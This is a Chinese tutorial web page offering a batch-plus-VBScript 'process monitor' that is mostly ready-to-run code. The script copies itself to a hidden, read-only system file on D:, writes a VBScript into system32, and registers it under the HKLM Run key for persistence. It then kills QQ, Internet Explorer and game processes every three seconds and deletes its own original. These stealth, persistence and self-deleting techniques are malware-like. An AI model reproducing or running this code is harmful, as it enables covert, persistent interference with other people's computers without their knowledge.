進程監(jiān)控實現(xiàn)代碼[vbs+bat]
來源:易賢網(wǎng) 閱讀:1148 次 日期:2016-07-18 11:42:48
溫馨提示:易賢網(wǎng)小編為您整理了“進程監(jiān)控實現(xiàn)代碼[vbs+bat]”,方便廣大網(wǎng)友查閱!

這是用BAT寫的,主體是VBS,所以放在VBS分類了

運行后會在%windir%\system32\目錄下生成jk.vbs, 并且自動添加注冊表啟動項,另外在D:\會生成一個隱藏屬性的JK.VBS, 3秒間隔監(jiān)控進程,如果進程中有QQ.exe、iexplore.exe、client.exe、game.exe進程則會自動結(jié)束進程。

代碼如下:

@echo off

attrib -s -h -a -r d:\jk.bat 1>nul 2>nul

if exist d:\jk.bat del d:\jk.bat /q

copy %0 d:\jk.bat /y >nul

attrib +s +h +a +r d:\jk.bat

if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs

echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul

echo Do>>%windir%\system32\jk.vbs

echo WScript.Sleep 3000>>%windir%\system32\jk.vbs

echo strComputer = "." >>%windir%\system32\jk.vbs

echo Set objWMIService = GetObject("winmgmts:\\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs

echo Set colItems = objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs

echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs

echo For Each objItem in colItems >>%windir%\system32\jk.vbs

echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs

echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs

echo Then objitem.Terminate()>>%windir%\system32\jk.vbs

echo Next>>%windir%\system32\jk.vbs

echo loop>>%windir%\system32\jk.vbs

start %windir%\system32\jk.vbs

del %0 /q

更多信息請查看腳本欄目
易賢網(wǎng)手機網(wǎng)站地址:進程監(jiān)控實現(xiàn)代碼[vbs+bat]
關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 加入群交流 | 手機站點 | 投訴建議
工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網(wǎng)安備53010202001879號 人力資源服務許可證:(云)人服證字(2023)第0102001523號
聯(lián)系電話:0871-65317125(9:00—18:00) 獲取招聘考試信息及咨詢關(guān)注公眾號:hfpxwx
咨詢QQ:526150442(9:00—18:00)版權(quán)所有:易賢網(wǎng)